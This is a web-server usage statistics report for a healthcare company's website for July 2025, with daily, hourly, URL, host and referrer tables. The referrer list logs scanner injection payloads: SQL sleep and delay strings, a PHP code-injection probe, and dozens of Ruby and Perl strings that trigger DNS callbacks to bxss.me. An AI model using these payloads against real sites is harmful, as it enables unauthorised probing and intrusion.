Usage Statistics for fornexhealthcare.com

Summary Period: July 2025
Generated 01-Aug-2025 17:56 IST

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for July 2025
Total Hits 73632
Total Files 24204
Total Pages 16359
Total Visits 1640
Total KBytes 2951005
Total Unique Sites 1308
Total Unique URLs 764
Total Unique Referrers 435
Total Unique User Agents 970
. Avg Max
Hits per Hour 98 11146
Hits per Day 2375 18421
Files per Day 780 3836
Pages per Day 527 9579
Sites per Day 42 90
Visits per Day 52 67
KBytes per Day 95194 179490
Hits by Response Code
Code 200 - OK 32.87% 24204
Code 204 - No Content 4.08% 3005
Code 301 - Moved Permanently 0.10% 74
Code 302 - Found 0.00% 1
Code 304 - Not Modified 9.19% 6765
Code 400 - Bad Request 0.48% 355
Code 404 - Not Found 53.28% 39228

Daily usage for July 2025

Daily Statistics for July 2025
Day Hits Files Pages Visits Sites KBytes
1 1651 2.24% 785 3.24% 119 0.73% 53 3.23% 47 3.59% 107619 3.65%
2 18421 25.02% 3836 15.85% 9579 58.55% 55 3.35% 67 5.12% 179490 6.08%
3 1632 2.22% 598 2.47% 236 1.44% 48 2.93% 44 3.36% 79818 2.70%
4 925 1.26% 578 2.39% 71 0.43% 41 2.50% 35 2.68% 77515 2.63%
5 1190 1.62% 645 2.66% 109 0.67% 53 3.23% 81 6.19% 84021 2.85%
6 1269 1.72% 597 2.47% 188 1.15% 49 2.99% 49 3.75% 81334 2.76%
7 1555 2.11% 800 3.31% 123 0.75% 58 3.54% 60 4.59% 110151 3.73%
8 1598 2.17% 535 2.21% 365 2.23% 44 2.68% 41 3.13% 69461 2.35%
9 2401 3.26% 675 2.79% 234 1.43% 54 3.29% 75 5.73% 93223 3.16%
10 1020 1.39% 447 1.85% 196 1.20% 39 2.38% 38 2.91% 59758 2.03%
11 1210 1.64% 591 2.44% 91 0.56% 55 3.35% 81 6.19% 80635 2.73%
12 1542 2.09% 594 2.45% 99 0.61% 48 2.93% 75 5.73% 82160 2.78%
13 2176 2.96% 718 2.97% 360 2.20% 46 2.80% 55 4.20% 96016 3.25%
14 1432 1.94% 603 2.49% 146 0.89% 44 2.68% 75 5.73% 82589 2.80%
15 2659 3.61% 874 3.61% 318 1.94% 58 3.54% 74 5.66% 124577 4.22%
16 1867 2.54% 1014 4.19% 102 0.62% 58 3.54% 90 6.88% 149735 5.07%
17 3999 5.43% 937 3.87% 711 4.35% 66 4.02% 77 5.89% 130913 4.44%
18 2845 3.86% 789 3.26% 492 3.01% 63 3.84% 66 5.05% 105741 3.58%
19 1735 2.36% 645 2.66% 185 1.13% 59 3.60% 63 4.82% 84323 2.86%
20 1966 2.67% 493 2.04% 251 1.53% 39 2.38% 36 2.75% 65355 2.21%
21 2298 3.12% 660 2.73% 288 1.76% 56 3.41% 64 4.89% 90360 3.06%
22 2152 2.92% 783 3.24% 238 1.45% 53 3.23% 75 5.73% 109930 3.73%
23 2086 2.83% 687 2.84% 213 1.30% 55 3.35% 58 4.43% 94340 3.20%
24 2072 2.81% 735 3.04% 216 1.32% 56 3.41% 64 4.89% 97499 3.30%
25 1924 2.61% 691 2.85% 228 1.39% 67 4.09% 74 5.66% 89320 3.03%
26 2151 2.92% 587 2.43% 233 1.42% 58 3.54% 64 4.89% 78091 2.65%
27 1719 2.33% 629 2.60% 240 1.47% 60 3.66% 86 6.57% 85815 2.91%
28 1446 1.96% 580 2.40% 177 1.08% 51 3.11% 57 4.36% 74498 2.52%
29 941 1.28% 513 2.12% 120 0.73% 36 2.20% 53 4.05% 69719 2.36%
30 2162 2.94% 883 3.65% 257 1.57% 64 3.90% 63 4.82% 123381 4.18%
31 1588 2.16% 702 2.90% 174 1.06% 61 3.72% 74 5.66% 93618 3.17%

Hourly usage for July 2025

Hourly Statistics for July 2025
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 110 3421 4.65% 33 1027 4.24% 16 516 3.15% 4710 146008 4.95%
1 98 3064 4.16% 29 908 3.75% 10 311 1.90% 3949 122421 4.15%
2 65 2023 2.75% 31 970 4.01% 5 160 0.98% 4165 129101 4.37%
3 57 1797 2.44% 22 684 2.83% 4 145 0.89% 3078 95409 3.23%
4 114 3539 4.81% 27 861 3.56% 19 608 3.72% 3919 121474 4.12%
5 438 13594 18.46% 60 1873 7.74% 198 6163 37.67% 4693 145494 4.93%
6 264 8190 11.12% 92 2856 11.80% 134 4160 25.43% 4660 144468 4.90%
7 82 2543 3.45% 24 770 3.18% 14 457 2.79% 3461 107279 3.64%
8 69 2153 2.92% 34 1058 4.37% 6 190 1.16% 4685 145236 4.92%
9 63 1959 2.66% 21 660 2.73% 8 275 1.68% 2986 92557 3.14%
10 62 1927 2.62% 22 698 2.88% 9 282 1.72% 3031 93968 3.18%
11 92 2863 3.89% 33 1028 4.25% 10 319 1.95% 4363 135238 4.58%
12 85 2644 3.59% 33 1036 4.28% 7 226 1.38% 4811 149138 5.05%
13 83 2594 3.52% 30 959 3.96% 14 444 2.71% 4263 132161 4.48%
14 53 1653 2.24% 26 809 3.34% 2 91 0.56% 3336 103429 3.50%
15 46 1436 1.95% 22 706 2.92% 4 131 0.80% 3174 98390 3.33%
16 85 2660 3.61% 28 891 3.68% 11 343 2.10% 4038 125163 4.24%
17 58 1802 2.45% 25 796 3.29% 6 189 1.16% 3253 100847 3.42%
18 72 2232 3.03% 37 1168 4.83% 7 217 1.33% 5214 161641 5.48%
19 67 2094 2.84% 32 1022 4.22% 3 119 0.73% 4664 144598 4.90%
20 54 1693 2.30% 29 917 3.79% 4 128 0.78% 3854 119462 4.05%
21 63 1971 2.68% 24 752 3.11% 8 275 1.68% 3363 104239 3.53%
22 83 2596 3.53% 25 803 3.32% 10 336 2.05% 3538 109671 3.72%
23 102 3184 4.32% 30 952 3.93% 8 274 1.67% 3988 123613 4.19%

Top 30 of 764 Total URLs
# Hits KBytes URL
1 2198 2.99% 18717 0.63% /images/logo-inverse-140x39.png
2 2186 2.97% 44982 1.52% /images/logo-default-140x39.png
3 1793 2.44% 36220 1.23% /
4 1736 2.36% 47455 1.61% /images/logo2-inverse-140x39.png
5 1165 1.58% 27949 0.95% /js/script.js
6 1156 1.57% 417245 14.14% /js/core.min.js
7 1139 1.55% 82913 2.81% /css/bootstrap.css
8 1130 1.53% 98114 3.32% /css/fonts.css
9 1127 1.53% 134852 4.57% /css/style.css
10 1065 1.45% 64404 2.18% /images/
11 934 1.27% 106880 3.62% /images/FOXOMYCIN.jpeg
12 934 1.27% 107583 3.65% /images/FXOPAN 40.jpeg
13 933 1.27% 129135 4.38% /images/FOXOPOD CV.jpeg
14 887 1.20% 14495 0.49% /images/zp.jpg
15 885 1.20% 72989 2.47% /images/ah.jpg
16 885 1.20% 13279 0.45% /images/bg.jpg
17 885 1.20% 11312 0.38% /images/lp.jpg
18 884 1.20% 10598 0.36% /images/dow.jpg
19 875 1.19% 725341 24.58% /images/bg-index.png
20 869 1.18% 73605 2.49% /images/m1.jpg
21 869 1.18% 40517 1.37% /images/project-2-671x214.jpg
22 323 0.44% 4566 0.15% /contacts.php
23 268 0.36% 4106 0.14% /about-us.php
24 262 0.36% 6296 0.21% /products.php
25 260 0.35% 3181 0.11% /services.php
26 253 0.34% 3860 0.13% /desk.php
27 195 0.26% 487 0.02% /fonts/
28 194 0.26% 245 0.01% /css/
29 194 0.26% 290 0.01% /js/
30 180 0.24% 4808 0.16% /css/css

Top 10 of 764 Total URLs By KBytes
# Hits KBytes URL
1 875 1.19% 725341 24.58% /images/bg-index.png
2 1156 1.57% 417245 14.14% /js/core.min.js
3 1127 1.53% 134852 4.57% /css/style.css
4 933 1.27% 129135 4.38% /images/FOXOPOD CV.jpeg
5 934 1.27% 107583 3.65% /images/FXOPAN 40.jpeg
6 934 1.27% 106880 3.62% /images/FOXOMYCIN.jpeg
7 1130 1.53% 98114 3.32% /css/fonts.css
8 1139 1.55% 82913 2.81% /css/bootstrap.css
9 869 1.18% 73605 2.49% /images/m1.jpg
10 885 1.20% 72989 2.47% /images/ah.jpg

Top 3 of 3 Total Entry Pages
# Hits Visits URL
1 1793 2.44% 928 64.85% /
2 1065 1.45% 502 35.08% /images/
3 29 0.04% 1 0.07% /.well-known/

Top 4 of 4 Total Exit Pages
# Hits Visits URL
1 1793 2.44% 861 62.98% /
2 1065 1.45% 504 36.87% /images/
3 25 0.03% 1 0.07% /.well-known/pki-validation/
4 1 0.00% 1 0.07% /cdn-cgi/scripts/

Top 30 of 1308 Total Sites
# Hits Files KBytes Visits Hostname
1 35626 48.38% 19024 78.60% 2765751 93.72% 501 30.55% e2e-70-56.ssdcloudindia.net
2 15606 21.19% 2817 11.64% 54076 1.83% 2 0.12% vm4268285.stark-industries.solutions
3 2771 3.76% 17 0.07% 250 0.01% 10 0.61% 13.79.53.166
4 1783 2.42% 18 0.07% 110 0.00% 4 0.24% 40.113.83.83
5 1298 1.76% 8 0.03% 40 0.00% 3 0.18% 52.169.249.88
6 1295 1.76% 5 0.02% 61 0.00% 2 0.12% 13.74.153.204
7 765 1.04% 9 0.04% 11 0.00% 3 0.18% 13.74.58.100
8 627 0.85% 4 0.02% 36 0.00% 1 0.06% 52.169.204.212
9 510 0.69% 6 0.02% 7 0.00% 2 0.12% 52.169.112.127
10 495 0.67% 7 0.03% 64 0.00% 2 0.12% 40.113.91.243
11 486 0.66% 3 0.01% 5 0.00% 2 0.12% 13.79.236.255
12 472 0.64% 3 0.01% 22 0.00% 1 0.06% 40.113.94.191
13 445 0.60% 1 0.00% 17 0.00% 1 0.06% 52.169.76.206
14 400 0.54% 2 0.01% 20 0.00% 2 0.12% 40.113.89.45
15 389 0.53% 13 0.05% 968 0.03% 2 0.12% 185.177.72.111
16 376 0.51% 4 0.02% 42 0.00% 1 0.06% 40.113.94.223
17 375 0.51% 4 0.02% 42 0.00% 1 0.06% 13.79.33.225
18 375 0.51% 4 0.02% 42 0.00% 1 0.06% 40.113.18.71
19 375 0.51% 4 0.02% 42 0.00% 1 0.06% 40.113.94.202
20 370 0.50% 27 0.11% 944 0.03% 3 0.18% 185.177.72.204
21 346 0.47% 9 0.04% 314 0.01% 1 0.06% 185.177.72.3
22 331 0.45% 1 0.00% 30 0.00% 1 0.06% 89.187.187.84
23 314 0.43% 4 0.02% 102 0.00% 1 0.06% 185.177.72.201
24 276 0.37% 2 0.01% 44 0.00% 1 0.06% 137.184.139.63
25 257 0.35% 3 0.01% 4 0.00% 1 0.06% 40.69.200.252
26 256 0.35% 3 0.01% 4 0.00% 1 0.06% 52.169.77.37
27 255 0.35% 3 0.01% 4 0.00% 1 0.06% 40.69.217.209
28 255 0.35% 3 0.01% 4 0.00% 1 0.06% 52.169.93.120
29 255 0.35% 3 0.01% 4 0.00% 1 0.06% 52.236.37.171
30 254 0.34% 3 0.01% 4 0.00% 1 0.06% 13.69.159.186

Top 10 of 1308 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 35626 48.38% 19024 78.60% 2765751 93.72% 501 30.55% e2e-70-56.ssdcloudindia.net
2 15606 21.19% 2817 11.64% 54076 1.83% 2 0.12% vm4268285.stark-industries.solutions
3 63 0.09% 41 0.17% 5818 0.20% 5 0.30% crawl-66-249-66-36.googlebot.com
4 83 0.11% 33 0.14% 3837 0.13% 8 0.49% crawl-66-249-66-76.googlebot.com
5 25 0.03% 20 0.08% 3331 0.11% 1 0.06% 205.169.39.16
6 26 0.04% 22 0.09% 3308 0.11% 1 0.06% crawl-149-56-150-36.dataproviderbot.com
7 40 0.05% 25 0.10% 3213 0.11% 6 0.37% crawl-66-249-66-78.googlebot.com
8 36 0.05% 25 0.10% 2969 0.10% 1 0.06% 69.160.160.60
9 27 0.04% 22 0.09% 2962 0.10% 1 0.06% 205.169.39.43
10 31 0.04% 24 0.10% 2962 0.10% 1 0.06% 106.195.114.108

Top 250 of 435 Total Referrers
# Hits Referrer
1 30120 40.91% - (Direct Request)
2 15484 21.03% http://fornexhealthcare.com/
3 12534 17.02% http://www.fornexhealthcare.com/
4 3600 4.89% https://www.google.com/search
5 1835 2.49% http://www.fornexhealthcare.com/products.php
6 1571 2.13% http://fornexhealthcare.com/index.php
7 1534 2.08% http://fornexhealthcare.com/products.php
8 1019 1.38% http://www.fornexhealthcare.com/index.php
9 899 1.22% http://fornexhealthcare.com/contacts.php
10 749 1.02% http://fornexhealthcare.com/about-us.php
11 520 0.71% http://fornexhealthcare.com/desk.php
12 501 0.68% http://fornexhealthcare.com/services.php
13 448 0.61% http://www.fornexhealthcare.com/about-us.php
14 392 0.53% http://www.fornexhealthcare.com/contacts.php
15 384 0.52% http://www.fornexhealthcare.com/services.php
16 372 0.51% http://www.fornexhealthcare.com/desk.php
17 90 0.12% \
18 60 0.08% '\
19 60 0.08% http://bxss.me/t/fit.txt
20 54 0.07% http://www.fornexhealthcare.com/css/bootstrap.css+fonts.css+style.css.pagespeed.cc.kFKAnRQ5Dq.css
21 45 0.06% http://www.fornexhealthcare.com/header.php
22 44 0.06% http://www.fornexhealthcare.com/products.php/996723@
23 34 0.05% http://www.fornexhealthcare.com/bk
24 32 0.04% http://fornexhealthcare.com/bk
25 30 0.04% !(()
26 30 0.04% '
27 30 0.04% '.print(md5(31337)).'
28 30 0.04% (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'\
29 30 0.04% )
30 30 0.04% 0'XOR(if(now()
31 30 0.04% 0\
32 30 0.04% 1 \xc0\xa7\xc0\xa2
33 30 0.04% 1 waitfor delay '0:0:15' --
34 30 0.04% 1'\
35 30 0.04% 12345'\
36 30 0.04% 1some_inexistent_file_with_long_name_.com/search
37 30 0.04% bxss.me
38 30 0.04% bxss.me/t/xss.html
39 30 0.04% http://bxss.me/t/xss.html
40 30 0.04% http://some-inexistent-website.acu/some_inexistent_file_with_long_name
41 30 0.04% if(now()
42 27 0.04% http://fornexhealthcare.com
43 26 0.04% http://www.fornexhealthcare.com//index.php/api/xmlrpc
44 26 0.04% http://www.fornexhealthcare.com/index.php/991144@
45 26 0.04% http://www.fornexhealthcare.com/index.php/api/xmlrpc
46 20 0.03% ()
47 17 0.02% http://fornexhealthcare.com/favicon.ico
48 16 0.02% http://fornexhealthcare.com/images/favicon.ico
49 16 0.02% http://www.fornexhealthcare.com/about-us.php/957434@
50 15 0.02% http://www.fornexhealthcare.com/css/fonts.css
51 14 0.02% http://www.fornexhealthcare.com/desk.php/951959@
52 12 0.02% http://www.fornexhealthcare.com/contacts.php/922305@
53 12 0.02% http://www.fornexhealthcare.com/services.php/929690@
54 12 0.02% https://fornexhealthcare.com/
55 10 0.01% http://fornexhealthcare.com/css/bootstrap.css+fonts.css+style.css.pagespeed.cc.kFKAnRQ5Dq.css
56 9 0.01% http://www.fornexhealthcare.com
57 8 0.01% http://fornexhealthcare.com/css/fonts.css
58 7 0.01% binance.com
59 6 0.01% http://www.fornexhealthcare.com/js/
60 6 0.01% https://www.google.com/
61 5 0.01% http://www.fornexhealthcare.com/cgi-sys/defaultwebpage.cgi
62 5 0.01% http://www.fornexhealthcare.com/css/
63 5 0.01% https://fornexhealthcare.com/products.php
64 4 0.01% fornexhealthcare.com
65 4 0.01% http://fornexhealthcare.com//bat/rd-mailform.php
66 4 0.01% http://fornexhealthcare.com/about-us.html
67 4 0.01% http://fornexhealthcare.com/blog.html
68 4 0.01% http://fornexhealthcare.com/css/style.css
69 4 0.01% http://fornexhealthcare.com/index.html
70 4 0.01% http://fornexhealthcare.com/products.html
71 4 0.01% www.google.com
72 3 0.00% http://www.fornexhealthcare.com/css/bootstrap.css fonts.css style.css.pagespeed.cc.kFKAnRQ5Dq.css
73 3 0.00% http://www.fornexhealthcare.com/index.html
74 3 0.00% http://www.fornexhealthcare.com/js/core.min.js
75 3 0.00% https://fornexhealthcare.com/contacts.php
76 3 0.00% https://www.gleauty.com/IN/Delhi/101748134521080/Fornex-healthcare-pvt-ltd
77 2 0.00% http://fornexhealthcare.com/bat/rd-mailform.php
78 2 0.00% http://fornexhealthcare.com/privacy-policy.html
79 2 0.00% http://fornexhealthcare.com/v1/models
80 2 0.00% http://www.largochevron.com
81 2 0.00% https://fornexhealthcare.com/index.php
82 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(100).concat(81).concat(111).concat(74)+(require'socket' Socket.gethostbyname('hitqv'+'ivdqnxzne3132.bxss.me.')[3].to_s)+'
83 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(100).concat(87).concat(112).concat(71)+(require'socket' Socket.gethostbyname('hitix'+'bbtenvbb0eace.bxss.me.')[3].to_s)+'
84 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(102).concat(66).concat(118).concat(73)+(require'socket' Socket.gethostbyname('hitpn'+'zmamqmdy62588.bxss.me.')[3].to_s)+'
85 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(103).concat(67).concat(121).concat(83)+(require'socket' Socket.gethostbyname('hitgk'+'yzftxquie8f1a.bxss.me.')[3].to_s)+'
86 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(103).concat(75).concat(107).concat(80)+(require'socket' Socket.gethostbyname('hitvb'+'sbhkwwtead3d5.bxss.me.')[3].to_s)+'
87 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(106).concat(67).concat(105).concat(77)+(require'socket' Socket.gethostbyname('hitop'+'mhquokwo765e4.bxss.me.')[3].to_s)+'
88 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(106).concat(81).concat(121).concat(78)+(require'socket' Socket.gethostbyname('hithu'+'kpxeotlea5cdc.bxss.me.')[3].to_s)+'
89 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(107).concat(75).concat(100).concat(72)+(require'socket' Socket.gethostbyname('hitub'+'wqhcpott9fdf6.bxss.me.')[3].to_s)+'
90 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(108).concat(69).concat(97).concat(90)+(require'socket' Socket.gethostbyname('hitjv'+'eenotjkfdb65e.bxss.me.')[3].to_s)+'
91 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(108).concat(88).concat(111).concat(87)+(require'socket' Socket.gethostbyname('hitge'+'ilcdhwpl3a8cd.bxss.me.')[3].to_s)+'
92 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(73).concat(111).concat(85)+(require'socket' Socket.gethostbyname('hitex'+'dqhmunev9e14b.bxss.me.')[3].to_s)+'
93 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(76).concat(97).concat(82)+(require'socket' Socket.gethostbyname('hitnr'+'vccetxfv8425e.bxss.me.')[3].to_s)+'
94 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(87).concat(103).concat(86)+(require'socket' Socket.gethostbyname('hitsm'+'yiezcrgrddc53.bxss.me.')[3].to_s)+'
95 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(111).concat(65).concat(120).concat(74)+(require'socket' Socket.gethostbyname('hitgi'+'gmswmptg415cc.bxss.me.')[3].to_s)+'
96 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(111).concat(71).concat(98).concat(81)+(require'socket' Socket.gethostbyname('hitft'+'mpzvjpvw0e8e3.bxss.me.')[3].to_s)+'
97 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(111).concat(80).concat(119).concat(68)+(require'socket' Socket.gethostbyname('hitbn'+'diyneykqadd1d.bxss.me.')[3].to_s)+'
98 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(113).concat(71).concat(108).concat(76)+(require'socket' Socket.gethostbyname('hitlb'+'dzusccya8ec65.bxss.me.')[3].to_s)+'
99 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(115).concat(80).concat(114).concat(89)+(require'socket' Socket.gethostbyname('hitnp'+'zxadlwit3f338.bxss.me.')[3].to_s)+'
100 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(116).concat(90).concat(115).concat(72)+(require'socket' Socket.gethostbyname('hitgh'+'rjgqcyeu7538a.bxss.me.')[3].to_s)+'
101 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(117).concat(66).concat(102).concat(83)+(require'socket' Socket.gethostbyname('hitik'+'khtoozjmd470a.bxss.me.')[3].to_s)+'
102 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(117).concat(72).concat(117).concat(75)+(require'socket' Socket.gethostbyname('hitjz'+'rerxsyxw81dc2.bxss.me.')[3].to_s)+'
103 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(120).concat(75).concat(107).concat(83)+(require'socket' Socket.gethostbyname('hitpf'+'hucnipyy7229a.bxss.me.')[3].to_s)+'
104 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(121).concat(73).concat(115).concat(72)+(require'socket' Socket.gethostbyname('hitlq'+'ixmxgojs4d83b.bxss.me.')[3].to_s)+'
105 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(121).concat(75).concat(101).concat(66)+(require'socket' Socket.gethostbyname('hitit'+'lbqdftad61e8f.bxss.me.')[3].to_s)+'
106 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(97).concat(68).concat(116).concat(82)+(require'socket' Socket.gethostbyname('hitgh'+'pwdtksyrd406b.bxss.me.')[3].to_s)+'
107 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(97).concat(90).concat(115).concat(77)+(require'socket' Socket.gethostbyname('hitmh'+'rjrqgxqmc8b25.bxss.me.')[3].to_s)+'
108 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(98).concat(69).concat(118).concat(83)+(require'socket' Socket.gethostbyname('hitvj'+'brbqlxrp4df85.bxss.me.')[3].to_s)+'
109 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(98).concat(75).concat(102).concat(65)+(require'socket' Socket.gethostbyname('hitor'+'qbsfanevca613.bxss.me.')[3].to_s)+'
110 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(98).concat(76).concat(105).concat(67)+(require'socket' Socket.gethostbyname('hitmx'+'qxwrwalq2956b.bxss.me.')[3].to_s)+'
111 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(99).concat(87).concat(118).concat(86)+(require'socket' Socket.gethostbyname('hitms'+'wuqospdg7d75d.bxss.me.')[3].to_s)+'
112 1 0.00% '.gethostbyname(lc('hitav'.'bjbswxet73427.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(84).chr(104).chr(81).'
113 1 0.00% '.gethostbyname(lc('hitaz'.'osbcthcv72d78.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(103).chr(86).chr(122).chr(65).'
114 1 0.00% '.gethostbyname(lc('hitbk'.'eqaduqii0aa58.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(89).chr(109).chr(66).'
115 1 0.00% '.gethostbyname(lc('hitcc'.'suiauedleb9ef.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(72).chr(113).chr(87).'
116 1 0.00% '.gethostbyname(lc('hitdl'.'oqjzmywi5c63c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(73).chr(111).chr(70).'
117 1 0.00% '.gethostbyname(lc('hitec'.'pelzfsek34be7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(82).chr(116).chr(84).'
118 1 0.00% '.gethostbyname(lc('hitek'.'rxcooaexc97de.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(86).chr(120).chr(87).'
119 1 0.00% '.gethostbyname(lc('hitfn'.'gtnkeyzgc37c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(70).chr(103).chr(78).'
120 1 0.00% '.gethostbyname(lc('hitgc'.'asagbrfaf93b5.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(84).chr(119).chr(71).'
121 1 0.00% '.gethostbyname(lc('hitgk'.'wqhwzqbpb92e3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(69).chr(105).chr(66).'
122 1 0.00% '.gethostbyname(lc('hitgp'.'gwhpjaot01dab.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(77).chr(119).chr(74).'
123 1 0.00% '.gethostbyname(lc('hitjp'.'tlzltyxp4929b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(77).chr(110).chr(65).'
124 1 0.00% '.gethostbyname(lc('hitjs'.'qkrnkvpn47097.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(80).chr(113).chr(68).'
125 1 0.00% '.gethostbyname(lc('hitks'.'kbtrppko41e38.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(72).chr(106).chr(66).'
126 1 0.00% '.gethostbyname(lc('hitlp'.'qeoapgspfa653.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(78).chr(101).chr(74).'
127 1 0.00% '.gethostbyname(lc('hitlq'.'diiqsmpu01d40.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(66).chr(120).chr(82).'
128 1 0.00% '.gethostbyname(lc('hitmp'.'idclkhrl3727b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(80).chr(121).chr(88).'
129 1 0.00% '.gethostbyname(lc('hitox'.'bpevddor3e0b9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(100).chr(83).chr(97).chr(88).'
130 1 0.00% '.gethostbyname(lc('hitqu'.'spzhqkri62ef6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(83).chr(119).chr(90).'
131 1 0.00% '.gethostbyname(lc('hitru'.'fkuzelbo71b6c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(78).chr(103).chr(68).'
132 1 0.00% '.gethostbyname(lc('hitsf'.'rmffyrjd0a0d0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(89).chr(108).chr(86).'
133 1 0.00% '.gethostbyname(lc('hitsr'.'ykoxdzkw6caae.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(67).chr(99).chr(65).'
134 1 0.00% '.gethostbyname(lc('hitsv'.'rhjcdaut6996e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(85).chr(102).chr(65).'
135 1 0.00% '.gethostbyname(lc('hittt'.'izyrawbw48c31.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(86).chr(117).chr(83).'
136 1 0.00% '.gethostbyname(lc('hitua'.'hmacavhd035e3.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(74).chr(118).chr(71).'
137 1 0.00% '.gethostbyname(lc('hitvg'.'hrmevsvwec82e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(76).chr(114).chr(78).'
138 1 0.00% '.gethostbyname(lc('hitvv'.'pijxewpa319a6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(89).chr(106).chr(82).'
139 1 0.00% '.gethostbyname(lc('hitwr'.'qllofyotcad30.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(76).chr(98).chr(84).'
